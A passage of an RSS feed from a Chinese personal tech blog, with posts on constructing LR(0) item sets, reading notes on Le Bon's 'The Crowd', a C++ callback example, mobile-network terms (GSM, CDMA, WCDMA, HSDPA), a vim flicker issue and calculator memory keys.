&lt;p&gt;　　//第二条你可能已经看出来了，其实就是把转换函数GO反过来用，在GO函数中，X为一文法符号，J＝{任何形如A→αX·β的项目| A→α·Xβ属于I}。也就是在I0中，找到右侧包含a的项目，然后将.右移一位来求他们的闭包函数，此处，I0中包含.a的项目为 S→•aS和 S→•a，.右移一位变成S→a•S , S→a•，求闭包函数的规则和上面那条是一样的，继续找推导式右边可以推导出来的式子就可以了，此处，右边同样是S可以推导出三个式子，前面加上.就可以了。&lt;/p&gt;
&lt;p&gt;　　I2=GO(I0 , b)=CLOSURE({S→b•S })={ S→b•S, S→•aS, S→•bS, S→•a }&lt;/p&gt;
&lt;p&gt;　　//第三条仿照第二条进行推导，先在I0中找有.b的，然后右移一位，然后推导式右侧的S继续用题目给出的推导，然后前面加上.&lt;/p&gt;
&lt;p&gt;　　I3=GO(I0 , S)=CLOSURE({S’ →S•})={ S’ →S•}&lt;/p&gt;
&lt;p&gt;　　//第四条因为右侧包含.S的只有一项。必须是.S。所以只有一个，右移后求闭包即可。因为S是右侧的第一位，所以不用再向下推导了，规则是：A→α·Bβ属于CLOSURE(I)，此处是S’ →S•，则B→·γ的项目也属于CLOSURE(I)，此处S相当于规则中的α，无B。。。。&lt;/p&gt;
&lt;p&gt;　　因为GO(I1, a)=CLOSURE({S→a•S , S→a•})=I1，&lt;/p&gt;
&lt;p&gt;　　//第五条同理，在I1中找有右侧有.a的项目，右移一位。进行求闭包，发现和I1求闭包的变量是一样的。所以结果必然也和I1是一样的。&lt;/p&gt;
&lt;p&gt;　　GO(I1, b)=CLOSURE(S→b•S)=I2.&lt;/p&gt;
&lt;p&gt;　　//第六条没有新的I产生。&lt;/p&gt;
&lt;p&gt;　　I4=GO(I1, S)=CLOSURE({S→aS•})={S→aS•}&lt;/p&gt;
&lt;p&gt;　　//这第七条在I1找右侧包含.S的项目，只有S→a•S，右移后求闭包，同第四条，无B，所以直接如此。&lt;/p&gt;
&lt;p&gt;　　GO(I2, a)= CLOSURE({S→a•S , S→a•})=I1&lt;/p&gt;
&lt;p&gt;　　GO(I2, b)=CLOSURE({S→b•S})=I2&lt;/p&gt;
&lt;p&gt;　　I5=GO(I2, S)=CLOSURE({S→bS•})={S→bS•}&lt;/p&gt;
&lt;p&gt;　　此时应该继续求GO(I3, a)，GO(I3, b)和，GO(I3, S)，但显然I3中没有.a,没有.b也没有.S，所以不用多此一举了，&lt;/p&gt;
&lt;p&gt;　　继续求GO(I4, a)，GO(I4, b)和，GO(I4, S)，显然同上，也没有。所以也不用求了，&lt;/p&gt;
&lt;p&gt;　　继续求GO(I5, a)，GO(I5, b)和，GO(I5, S),理由同上，没有任何必要了&lt;/p&gt;
&lt;p&gt;　　最终，项目集I0，I1，I2，I3，I4和I5构成了该文法的LR(0)项目集规范族。&lt;/p&gt;
&lt;p&gt;　　编译原理真是博大精深啊。就一个简单的三个推导式就得这么多步骤才构造了一个规范族，还要利用规范族来构造LR分析表，这。。手工果断不是事啊。今天看了几个小时才完全弄清楚LR(0)项目集规范族的构造。例题的步骤是我自己写的。这篇文章写了2个小时。。太费脑子了。。慢慢再写产生活前缀的DFA和LR分析表吧。&lt;/p&gt;
&lt;p&gt;　　参考：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://metc.gdut.edu.cn/compile/nandian/n-7.htm&#34;&gt;http://metc.gdut.edu.cn/compile/nandian/n-7.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>《乌合之众》笔记下部</title>
      <link>http://blog.leaver.me/2012/05/11/%E4%B9%8C%E5%90%88%E4%B9%8B%E4%BC%97%E7%AC%94%E8%AE%B0%E4%B8%8B%E9%83%A8/</link>
      <pubDate>Fri, 11 May 2012 09:20:58 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/11/%E4%B9%8C%E5%90%88%E4%B9%8B%E4%BC%97%E7%AC%94%E8%AE%B0%E4%B8%8B%E9%83%A8/</guid>
      <description>&lt;p&gt;　　看完了下部，本书绝对是群体心理学的经典。没有废话，180多页的小册子讲的非常非常好。
　　执政府和帝国的具体工作就是用新的名称把过去大多数的制度重新包装一遍，用新名词代替那些能够让群众想起不利形象的名称。因为新鲜能够防止这种联想。&lt;/p&gt;
&lt;p&gt;　　统治者的艺术，就像律师的艺术，首先在于驾驭辞藻的学问。&lt;/p&gt;
&lt;p&gt;　　推动各民族演化的主要因素，永远不是真理，而是谬误。&lt;/p&gt;
&lt;p&gt;　　社会主义的谬误，群众从来不渴求真理，他们需要对他们有诱惑力的谬误，凡是能供应幻觉的，都是他们的主人，使他们幻灭的。都将成为牺牲品。&lt;/p&gt;
&lt;p&gt;　　尽管存在着理性，文明的动力仍然是各种感情&amp;ndash;譬如尊严，自我牺牲，宗教信仰，爱国主义以及对荣誉的爱&lt;/p&gt;
&lt;p&gt;　　只要有一些生物聚集在一起，不管是人还是动物，都会本能的让自己处在一个头领的统治之下。&lt;/p&gt;
&lt;p&gt;　　头脑敏锐，深谋远虑的人往往不能成为群体领袖，因为他们这种品质会让人犹疑不决，而那些有毛病的，兴奋的人则可能。&lt;/p&gt;
&lt;p&gt;　　在群体的灵魂中，占上风的，不是对自由的追求，而是当奴才的欲望。&lt;/p&gt;
&lt;p&gt;　　领袖的动员手段：断言，重复和感染。&lt;/p&gt;
&lt;p&gt;　　传染的威力很大，不但能迫使个人接受某些意见，而且能让他接受一些感情模式。&lt;/p&gt;
&lt;p&gt;　　名望是某个人，某本著作，或是某种观念对我们头脑的支配力。会麻痹我们的批判能力。让我们充满惊奇和敬畏。名望的特点就是阻止我们看到事物的本来面目。&lt;/p&gt;
&lt;p&gt;　　用一时的意见影响群众的头脑不难，想让一种信念在其中长久扎根却极为不易。&lt;/p&gt;
&lt;p&gt;　　一种信念开始衰亡的确切时刻很容易辨认-他的价值开始受到质疑。不过即使已经摇摇欲坠，根据他建立的制度依然会保持其力量，消失的十分缓慢&lt;/p&gt;
&lt;p&gt;　　需要一种普遍信念来支持一个国家。实干家一心要让这种普遍接受的信仰变成现实，立法者一心想把他付诸实行，哲学家，艺术家和文人全都醉心于如何以各种不同的方式表现他。&lt;/p&gt;
&lt;p&gt;　　今天的社会主义信念虽然有明显的破绽，但并没有阻止他赢得群众。他的力量的增长只能到他获得胜利，掌权的那一天为止。&lt;/p&gt;
&lt;p&gt;　　报纸媒体不断把对联意见带给人们，由于受到对立意见的暗示作用的破坏，结果任何意见都难以普及，他们全都成了过眼烟云。一种意见还没来得及被足够多的人接受。就已经寿终正寝。&lt;/p&gt;
&lt;p&gt;　　报业既然成了仅仅提供信息的部门，也就放弃了让人接受某种观念或学说的努力。&lt;/p&gt;
&lt;p&gt;　　如果有什么事情能够推迟一种文明的毁灭的话，那就是极不稳定的群众意见，以及他们对一切普遍信仰的麻木不仁。&lt;/p&gt;
&lt;p&gt;　　两类群体：异质性，街头，议会。同质性，派别，身份&lt;/p&gt;
&lt;p&gt;　　杰出律师的主要用心在于，打动陪审团的感情，不需要太多论证，留心他们，得出自己的结论，确定那些人赞同，转向不赞同的人。&lt;/p&gt;
&lt;p&gt;　　选民群体属于异质性群体，他们极少推理，没有批判精神，轻信，易怒而且头脑简单。&lt;/p&gt;
&lt;p&gt;　　选民的心理和其他群体一样：既不更好，也不更差。&lt;/p&gt;
&lt;p&gt;　　文明是少数智力超常的人的产物，他们构成了金字塔的顶点，随着金字塔各个层次加宽，智力越来越少，如果一个伟大的文明仅仅以人多势众自夸的低劣成员的选票。是无法让人放心的。&lt;/p&gt;
&lt;p&gt;　　领袖的影响力只在很小的程度上是因为他们提出的论据，而在很大程度上来自他们的名望，一旦他们不知道什么原因威信扫地，他们的影响力也将随之消失。&lt;/p&gt;
&lt;p&gt;　　在政治集会中，才华横溢者无任何作用。伟大的民众领袖头脑的狭隘令人瞠目&lt;/p&gt;
&lt;p&gt;　　演讲者演说的成功与否很大程度上也取决于自己的名望。&lt;/p&gt;
&lt;p&gt;　　由法律专家制定的法律是最好的法律，因为他是个人的产物，只有当一系列修正案把他们变成集体努力的产物的时候，才可能产生灾难性的后果。&lt;/p&gt;
&lt;p&gt;　　表面自由的增加，必然伴随着真正自由的减少。&lt;/p&gt;
&lt;p&gt;　　各国被一种谬见所蒙蔽，就是认为保障自由与平等的最好办法就是制定法律，结果使人变成奴才。&lt;/p&gt;
&lt;p&gt;　　人们似乎热爱自由，其实只是痛恨主子 -托克维尔。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《乌合之众》笔记上部</title>
      <link>http://blog.leaver.me/2012/05/10/%E4%B9%8C%E5%90%88%E4%B9%8B%E4%BC%97%E7%AC%94%E8%AE%B0%E4%B8%8A%E9%83%A8/</link>
      <pubDate>Thu, 10 May 2012 20:50:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/10/%E4%B9%8C%E5%90%88%E4%B9%8B%E4%BC%97%E7%AC%94%E8%AE%B0%E4%B8%8A%E9%83%A8/</guid>
      <description>&lt;p&gt;　　今天本来是打算写篇关于LR型语法分析的总结的。结果因为各种原因错过了。可能我还是有轻微的拖延症吧。但是还是非常给力的。今天在读这本书-&lt;a href=&#34;http://book.douban.com/subject/1012611/&#34;&gt;乌合之众-大众心理研究&lt;/a&gt;，本来就想着也就不到200页的书，几个小时就看完了，结果真正看了以后，一阵惊叹啊。信息量很大，现在才看到84页。不过笔记已经写了2000字了。为了避免文章太长。先分享这两千字。明天看完了后半部分，再分享。&lt;/p&gt;
&lt;p&gt;　　群体的无意识行为代替了个人的有意识行为，是目前这个时代的主要特征之一。&lt;/p&gt;
&lt;p&gt;　　社会组织就像一切生命有机体一样复杂，我们还不具备强迫他们在突然之间发生深刻变革的智力。&lt;/p&gt;
&lt;p&gt;　　对于一个民族有致命危险的，莫过于他热衷于重大的变革。无论这些变革从理论上来说多么的出色。如果它能够使民族气质即刻产生变化，才能说他是有用的，只有时间才具备这样的力量，&lt;/p&gt;
&lt;p&gt;　　如果有关某种形态的知识只有少数有学问的人才能掌握，那他也没有多少意义了。&lt;/p&gt;
&lt;p&gt;　　造成文明洗心革面的唯一重要的变化，是影响到思想，观念和信仰的变化，令人难忘的历史事件，不过是人类思想不露痕迹的变化所造成的可见后果而已。&lt;/p&gt;
&lt;p&gt;　　群体的力量会成为唯一无可匹敌的力量，我们要进入的时代，就是一个群体的时代。&lt;/p&gt;
&lt;p&gt;　　群体不善推理，却急于采取行动，他们目前的组织赋予他们巨大的力量。&lt;/p&gt;
&lt;p&gt;　　科学为我们许诺的是真理，从未许诺过和平或幸福，他对我们的感情无动于衷，对我们的哀怨不闻不问。&lt;/p&gt;
&lt;p&gt;　　历史告诉我们，当文明赖以建立的道德因素失去威力时，他的最终解体总是有无意识的野蛮群体完成的，&lt;/p&gt;
&lt;p&gt;　　创造和领导着文明的，历来就是少数知识贵族而不是群体，群体只具有强大的破坏力。&lt;/p&gt;
&lt;p&gt;　　不管情况如何，我们注定要屈从于群体的势力，这是因为群体的目光短浅，使得有可能让他守规矩的所有障碍已经被一一清除。&lt;/p&gt;
&lt;p&gt;　　一个心理群体表现出来的最惊人的特点是：不论他们是谁，他们变成了一个群体这个事实，使他们获得了一种集体信息，这是他们的感情，思想和行为变得与他们独自一人时颇为不同，&lt;/p&gt;
&lt;p&gt;　　群体一般只有很普通的品质，他削弱了个人的优秀品质，这一事实解释了为何他不能完成需要高智力的工作，群体中累加在一起的只有愚蠢而不是天生的智慧。&lt;/p&gt;
&lt;p&gt;　　从数量上来看，群体的个人会感觉到一种势不可挡的力量，使他敢于发泄出自己本能的欲望。而独自一人时，则必须克制欲望，因为他觉得：群体是个无名氏，不许承担责任。&lt;/p&gt;
&lt;p&gt;　　还有就是群体的传染性，每种感情和行动都有传染性，其程度足以使个人随时准备为群体利益牺牲他的个人利益。这与人的天性相对立，如果不是群体的一员，很少具备这样的能力&lt;/p&gt;
&lt;p&gt;　　长时间融入群体行动的个人，不就会发现，或许是因为在群体发挥催眠影响的作用下，自己进入一种特殊状态，类似于被催眠，变成了受人支配的无意识的努力，有意识的人格消失的无影无踪，意识和辨别力也不复存在。&lt;/p&gt;
&lt;p&gt;　　1989年8月4日，的晚上，法国的贵族一时激情澎湃，毅然投票放弃了自己跌特权。所以说，群体有时候也是英雄群体。&lt;/p&gt;
&lt;p&gt;　　群体容易被暗示，会随时听命于一切暗示。失去了批判能力。&lt;/p&gt;
&lt;p&gt;　　不要相信童言无忌，儿童一直就在撒谎。&lt;/p&gt;
&lt;p&gt;　　群体情绪的简单和夸张所造成的结果是，他全然不知怀疑和不确定性为何物，他就像女人一样，一下子就会陷入极端，怀疑一说出口，立刻就会变成不容辩驳的证据。&lt;/p&gt;
&lt;p&gt;　　群体只知道简单而极端的感情;提供给他们的各种意见，想法和信念，他们或者全盘接受，或者一概拒绝，将其视为绝对真理或绝对谬论。&lt;/p&gt;
&lt;p&gt;　　群体中只要有人在他们之间山东，他们随时都会付诸行动，群体对强权俯首帖耳，却很少为仁慈心肠所动，他们认为那不过是软弱可欺的另一种形式。他们的同情心从而不听命于作风温和的主子，而是只向眼里欺压他们的暴君低头。他们总是为这种人塑其最壮观的雕像。&lt;/p&gt;
&lt;p&gt;　　群体强烈的守着无意识因素的支配，因此很容易屈从于世俗的等级制，难免会十分保守，对他们撒手不管，很快他们就会对混乱感到厌倦，本能的变成奴才。&lt;/p&gt;
&lt;p&gt;　　观念只有采取简单明了的形式，才能被群体所接受，因此它必须经过一番彻底的改造，才能变得通俗易懂。&lt;/p&gt;
&lt;p&gt;　　就观念来说，群体总是落后于博学之士和哲学家好几代人。&lt;/p&gt;
&lt;p&gt;　　群体形象化的想象力不但强大而活跃，并且非常敏感。历史上，表相总比真相起着更重要的作用，不现实的因素总比现实的因素更加重要。&lt;/p&gt;
&lt;p&gt;　　不管刺激群体想象力的是什么，采取的形式都应该具有鲜明形象。没有任何多余的解释。比如死亡人数。&lt;/p&gt;
&lt;p&gt;　　如果一个民族使自己的习俗变得过于牢固，他便不会再发生变化，于是就像中国一样，变得没有改进能力。在这种情况下，暴力革命也没有多少用处，因此由此造成的结果，或者是打碎的锁链被重新拼接在一起，让整个过去原封不动的再现，或者是对被打碎的事务撒手不管，衰败很快被无政府状态所取代。因此对于一个民族来说，理想的状态是保留过去的制度，用一种不易察觉的方式一点点的加以改进。&lt;/p&gt;
&lt;p&gt;　　群体具有保守主义精神，即使被狂暴的反叛最终也只会造成一些嘴皮子上的变化。&lt;/p&gt;
&lt;p&gt;　　各民族是受着自己的性格支配的，凡是与这种性格不合的模式，都不过是借来的外套，一种暂时的伪装。&lt;/p&gt;
&lt;p&gt;　　教育既不会使人变得更加道德，也不会使人更幸福，他既不能改变他的本能，也不能改变他的热情。。。害处远大于好处。&lt;/p&gt;
&lt;p&gt;　　掌握一些派不上用场的知识，是让人造反的不二法门&lt;/p&gt;
&lt;p&gt;　　生活中取得成功的条件是判断力，经验，开拓精神，和个性。非课本能带来。&lt;/p&gt;
&lt;p&gt;　　大学毕业，一个充分发展的人诞生，但筋疲力尽，成家立业，落入生活的俗套，只要落入这种俗套，他就会把自己封闭在狭隘的职业中，工作还算本分，但仅此而已，这就是平庸的生活。&lt;/p&gt;
&lt;p&gt;　　因为各种词语和套话的力量而死去的人，只要用他们的尸骨，就能建造一座比古老的齐奥普斯更高的金字塔。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C&#43;&#43;回调函数</title>
      <link>http://blog.leaver.me/2012/05/09/c-%E5%9B%9E%E8%B0%83%E5%87%BD%E6%95%B0/</link>
      <pubDate>Wed, 09 May 2012 21:04:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/09/c-%E5%9B%9E%E8%B0%83%E5%87%BD%E6%95%B0/</guid>
      <description>&lt;p&gt;　　回调函数就是一个通过函数指针调用的函数。如果你把函数的指针(地址)作为参数传递给另一个函数，当这个指针被用为调用它所指向的函数时，我们就说这是回调函数。&lt;/p&gt;
&lt;p&gt;　　也就是说，回调函数它首先是一个函数，然后有一个指针指向它（该指针称为函数指针），在别的代码块中，通过这个函数指针调用了这个函数，仅此而已。&lt;/p&gt;
&lt;p&gt;　　下面给出一个例子，我写出了比较详细的注释。希望足够清晰。这个例子说明了，回调函数可以把调用者和被调用者分开，对于调用者来说，只需要知道自己要调用一个函数，该函数有一个string类型的参数，至于具体调用哪个，被调用的函数到底怎么执行，怎么解释该参数，是完全不用关心的。&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;
#include &lt;iostream&gt;  
#include &lt;string&gt;  
using namespace std;  

typedef void (*PF)(string s);  //定义一个名为PF的函数指针，该指针指向一类函数，该类函数有一个string类型的参数，返回值为void。  

void funcOne(string s)  //回调函数1  
{  
    cout &lt;&lt; s+&#34; One&#34;&lt;&lt; endl;  
}  

void funcTwo(string s)  //回调函数2 
{  
    cout &lt;&lt; s+&#34; Two&#34;&lt;&lt; endl;  
}  

void caller( PF pf, string s) //调用函数  
{  
    cout &lt;&lt; &#34;I am Caller Function&#34; &lt;&lt; endl;  
    pf(s);  
}  

int main()  
{  
    string str = &#34;Test CallBack Function&#34;;  
    PF pf1 = funcOne;  //实例化一个函数指针，指向func函数      
    caller(pf1, str);  
    pf1=funcTwo; 
    caller(pf1, str);  
    system(&#34;pause&#34;);  
    return 0;  
}  

&lt;/pre&gt;
&lt;p&gt;　　回调函数的一个很实用的例子就是泛型算法中的max算法，具体可以参见本文末尾的第一篇参考文档，
如果你在自行写代码中发生了
error C2679: 二进制“&amp;laquo;”: 没有找到接受“std::string”类型的右操作数的运算符(或没有可接受的转换)错误
　　说明你没有把string头文件导入，导入即可
　　个人能力有限，错误之处请留言指正，不胜感激。
参考：
&lt;a href=&#34;http://learn.akae.cn/media/ch24s05.html&#34;&gt;http://learn.akae.cn/media/ch24s05.html&lt;/a&gt;
&lt;a href=&#34;http://baike.baidu.com/view/414773.htm&#34;&gt;http://baike.baidu.com/view/414773.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>GSM,GPRS,WCDMA,HSDPA,3G 等名词解释</title>
      <link>http://blog.leaver.me/2012/05/08/gsmgprswcdmahsdpa3g-%E7%AD%89%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A/</link>
      <pubDate>Tue, 08 May 2012 22:32:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/08/gsmgprswcdmahsdpa3g-%E7%AD%89%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A/</guid>
      <description>&lt;p&gt;　　今天想起这个事，发现自己其实一直对这个也分不清楚。查了下资料。总算是搞清楚了。整理了一下资料。删除了没太大意义的文字。结构也重新设计了下，总体看起来比较明了了。&lt;p&gt;　　首先解释最热门的3G概念&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;&lt;strong&gt;&lt;em&gt;&lt;font style=&#34;&#34;&gt;3G&lt;/font&gt;&lt;/em&gt;&lt;strong&gt;是英文The Third Generation mobile communication Systems的缩写&lt;/font&gt;，指第三代移动通信技术。相对第一代模拟制式手机(1G)和第二代GSM、CDMA等数字手机 (2G)，第三代手机（3G）一般地讲，是指将无线通信与国际互联网等多媒体通信结合的新一代移动通信系统。&lt;p&gt;　　实际上，2G时代并没有2G这个名称，2G名称的出现是在行动通讯系统出现3G之后，才将过去使用GSM网路的行动通讯时代取名为2G，然而，2G演变到3G之间的过渡时期则被称为2.5G时代。同理，1G也是这么来的。就跟咱们做题是一样的。看到答案以后来推前面的过程。&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;在2G时代，GSM、CDMA领导市场，他们是2G通信时代的两个实现。&lt;/font&gt;&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;GSM（Global System for Mobile communications）&lt;/font&gt;系统，中文名称为「全球数位手机系统」，它是1990年在欧洲发展出来，所以又称泛欧式行动电话系统。GSM系统是2G时代在全球最被广泛应用的行动通讯技术，至今全球GSM用户数远远超过CDMA系统用户数。&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;CDMA（Code Division Multiple Access）中文全名又称分码多工撷取&lt;/font&gt;，是相对于GSM的另一种无线通讯技术，CDMA系统只在美、韩、中、澳洲等国被使用，而全球多达200多个国家地区采用GSM系统&lt;p&gt;_&lt;/strong&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34; size=&#34;4&#34;&gt;两者的差异：&lt;/font&gt;&lt;/strong&gt;&lt;em&gt;&lt;p&gt;　　虽然GSM与CDMA二者都是先将语音讯号数位化，受话者接收时再将数位讯号转变回语音，但由于CDMA系统使用的800MHz频谱，讯号在空中的遗失率较GSM采用的900或1800MHz频谱来得少，所以相较于GSM系统有通话不稳定的问题，CDMA可以提供更清晰的声音品质。&lt;p&gt;　　在网路容量方面，CDMA的容量是GSM的3倍；CDMA的网路覆盖范围最远可达200公里，而GSM的网路覆盖范围则不会超过35公里。此外，CDMA的传输速率最高可达64Kbps，远高于GSM的9.6Kbps。&lt;p&gt;　　至于内容应用方面，GSM与CDMA都可以提供包括语音、简讯、数据、来电显示、三方通话等服务。但是由于全球采用CDMA系统的国家较少，所以CDMA系统可以漫游的国家地区也就较GSM来得少。CDMA系统只在美、韩、中、澳洲等国被使用，而全球多达200多个国家地区采用GSM系统。&lt;p&gt;&lt;/em&gt;&lt;strong&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34; size=&#34;4&#34;&gt;GSM向3G的发展路线&lt;/font&gt;&lt;/strong&gt;&lt;em&gt;&lt;p&gt;　&lt;em&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;　◆GSM→GPRS→EDGE→WCDMA→HSDPA&lt;/font&gt;&lt;/em&gt;&lt;p&gt;　　泛欧式的WCDMA系统演变过程相当复杂。行动通讯技术从GSM迈入GPRS时，可说是2G时迈向3G时代过程的第一步，这个时期被定位为2.5G时代，在2.5G时代，手机用户虽然已经可以享受较高速的无线上网，不过，内容应用仍然只限于收发e-mail、片段视讯下载等服务。（所谓GPRS（General Packet Radio Ser-vice），全名为整合封包无线电服务，它可说是新一代的GSM技术标准，相对于GSM是采取拨接方式传送资料，GPRS则是以封包无线方式传输资料，它可以在全球的GSM系统中运行。GPRS较GSM能更有效地利用无线网路，可以特别使用于突发性、频繁的小流量资料传输，传输速率高达115Kbps。从GSM到GPRS，速度提升10倍）&lt;p&gt;　　为了提供更多、更高品质的服务给用户，行动通讯业者与设备提供商接着又开发出EDGE技术，&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;EDGE是英文Enhanced Data Rate for GSM Evolution 的缩写&lt;/font&gt;，即增强型数据速率GSM演进技术。EDGE系统大大增强了GSM、GPRS等无线技术的频宽，虽然3G时代已经来到，但是，目前EDGE系统仍在全球被广泛的应用。&lt;p&gt;　　使用EDGE技术，传输速率最高可达384Kbps，此外EDGE并将现有的GSM/GPRS等网路整合，在取得3G服务之前，EDGE可说提供了价格低廉、传输速度又快的服务，所以它也被认定为WCDMA系统的补充技术。&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;WCDMA（英文Wideband Code Division Multiple Access）一种宽频无线技术&lt;/font&gt;，又称宽频分码多工多重撷取，它可以让第三代移动通讯最佳化，传输速率最高可达2Mbps.&lt;p&gt;　　至于&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;HSDPA（High Speed ​​Downlink Packet Access）&lt;/font&gt;中文名称为高速下行链路封包接取技术，它是WCDMA系统的进阶技术。HSDPA被认为是迈向3G蜂巢式网路的重要起步，其下载速度可以达到14Mbps，而系统资料容量是WCDMA网路的3倍，这项技术被宣称为将在未来对行动电话记忆体市场格局带来重大变革。&lt;p&gt;&lt;/em&gt;&lt;strong&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34; size=&#34;4&#34;&gt;CDMA向3G的发展路线&lt;/font&gt;&lt;/strong&gt;&lt;em&gt;&lt;p&gt;&lt;font style=&#34;background-color: rgb(255, 255, 255);&#34;&gt;　　&lt;/font&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;&lt;/em&gt;◆CDMA→CDMA2000→CDMA2000 1x→CDMA2000 1x EV-DO_&lt;/font&gt;&lt;p&gt;　　至于泛美式的CDMA2000（Code Division Multiple Access 2000 是一个3G移动通讯标准，CDMA2000与另一个3G标准WCDMA不兼容。），则是CDMA的升级技术。而CDMA2000的第一阶段技术称为CDMA 2000 1X，传输数率达144Kbps，较CDMA高出两倍；至于第二阶段的CDMA2000 1x EV-DO，最高传输数率可达1.4Mbps。还在向后发展已经到了CDMA2000 3.x，不过是在不断优化了。了解即可&lt;p&gt;参考：&lt;p&gt;       &lt;a href=&#34;https://lex0912.wordpress.com/2010/05/21/gsmgprswcdmahsdpa&#34;&gt;https://lex0912.wordpress.com/2010/05/21/gsmgprswcdmahsdpa&lt;/a&gt;&lt;p&gt;&lt;a href=&#34;https://zh.wikipedia.org/wiki/CDMA2000&#34;&gt;       https://zh.wikipedia.org/wiki/CDMA2000&lt;/a&gt;&lt;p&gt;&lt;a href=&#34;https://zh.wikipedia.org/wiki/3G&#34;&gt;       https://zh.wikipedia.org/wiki/3G&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>windows下vim闪烁问题</title>
      <link>http://blog.leaver.me/2012/05/07/windows%E4%B8%8Bvim%E9%97%AA%E7%83%81%E9%97%AE%E9%A2%98/</link>
      <pubDate>Mon, 07 May 2012 19:21:59 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/07/windows%E4%B8%8Bvim%E9%97%AA%E7%83%81%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;　　今天打开我的vim才发现，界面隔几秒会闪烁。虽说貌似能够起到防止眼睛疲劳的效果，但我实在是hold不住啊。不行，搜索。。
首先有这个问题的人不多。首先找到了&lt;a href=&#34;http://hi.baidu.com/chrisyue/blog/item/ebc7b8de373c1048cdbf1af9.html&#34;&gt;这篇文章&lt;/a&gt;，但是作者不知道怎么想的。只说了原因，没有给出解决方法。继续搜索关键字cursorcolumn，结果找到了&lt;a href=&#34;http://yyq123.blogspot.com/2012/01/vim-cursor.html&#34;&gt;这篇文章&lt;/a&gt;，按着说明来了一下&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;set cursorline cursorcolumn&lt;/pre&gt;
&lt;p&gt;没效果。依然闪烁。
　　好吧。如果是插件的问题。于是我删掉了所有的插件包括写入的配置。依然不行。于是还是采用排除法，一行行删掉配置文件。最后定位到&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;set guifont=Arial_monospaced_for_SAP:h9:cANSI &lt;/pre&gt;
&lt;p&gt;　　这是设置字体的，不太明白为什么会出现这样的情况。怀疑是字体的原因，于是换个字体，依然闪烁。。好吧。就这样吧。删掉算了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>你会用计算器吗？</title>
      <link>http://blog.leaver.me/2012/05/05/%E4%BD%A0%E4%BC%9A%E7%94%A8%E8%AE%A1%E7%AE%97%E5%99%A8%E5%90%97/</link>
      <pubDate>Sat, 05 May 2012 12:55:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/05/%E4%BD%A0%E4%BC%9A%E7%94%A8%E8%AE%A1%E7%AE%97%E5%99%A8%E5%90%97/</guid>
      <description>&lt;p&gt;　　今天早上在用windows自带的计算器转换进制的时候，看到了下图所示的按钮。MS MR之类的。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21157_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/94b98df6f3d241859ae7ea4e2f869ede69eca33a.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　这些个按钮在简单的计算器上也有。我从小时候到现在都没搞清楚。当然也没搞过。。不学总是不会的。于是，找找资料。学会了也分享一下，英文是我猜的。。不过估计差不多&lt;/p&gt;
&lt;p&gt;　　首先明确的一点是这类计算器内部有一个小的记忆芯片，可以用来存储一个数，类似于内存吧。所以M的意思就是Memory，下面先给出这几个的总体说明&lt;/p&gt;
&lt;p&gt;　　“MS”，英文 Memory Store，用来存储输入栏显示的数字。&lt;/p&gt;
&lt;p&gt;　　“MR”，英文 Memory Read， 再次显示调用存储的数字。&lt;/p&gt;
&lt;p&gt;　　“M+”，英文 Memory Plus， 存储器里的值加上输入栏的值，结果又存入存储器&lt;/p&gt;
&lt;p&gt;　　“M+”，英文 Memory Minus， 存储器里的值减去输入栏的值，结果又存入存储器&lt;/p&gt;
&lt;p&gt;　　“MC”，英文 Memory Clear，用于清除存储器中的数值，默认为0&lt;/p&gt;
&lt;p&gt;　　“C”， 英文 Cancel，就是全部撤销；&lt;/p&gt;
&lt;p&gt;　　“CE”，  英文 Cancel Error，也就是撤销错误输入。&lt;/p&gt;
&lt;p&gt;　　现在来说个例子，比如我要计算100&lt;em&gt;2+11&lt;/em&gt;3因为一些计算器不支持整个式子输入。也是为了演示这些功能。我们可以这样输入，&lt;/p&gt;
&lt;p&gt;　　先输入100，然后 * ，然后 2 ，按下等号，这时候输入栏变成了200，我们按下MS 或者M+，按下MS的话把200存到了存储器，而按下M+呢，因为存储器默认是0，所以就相当于0+200，存储器里就是200了。然后我们继续输入11 ，输入 +，输入3 ，按下等号，输入栏变成了33.我们按下M+，这时候输入栏并没有改变。因为M+将存储器里的200加上了33.则存储器里变成了233.我们按下MR就是读取存储器的值，这样输入栏就可以看到233了。我们就可以继续用233来运算了。MC就是清除233.恢复为0.&lt;/p&gt;
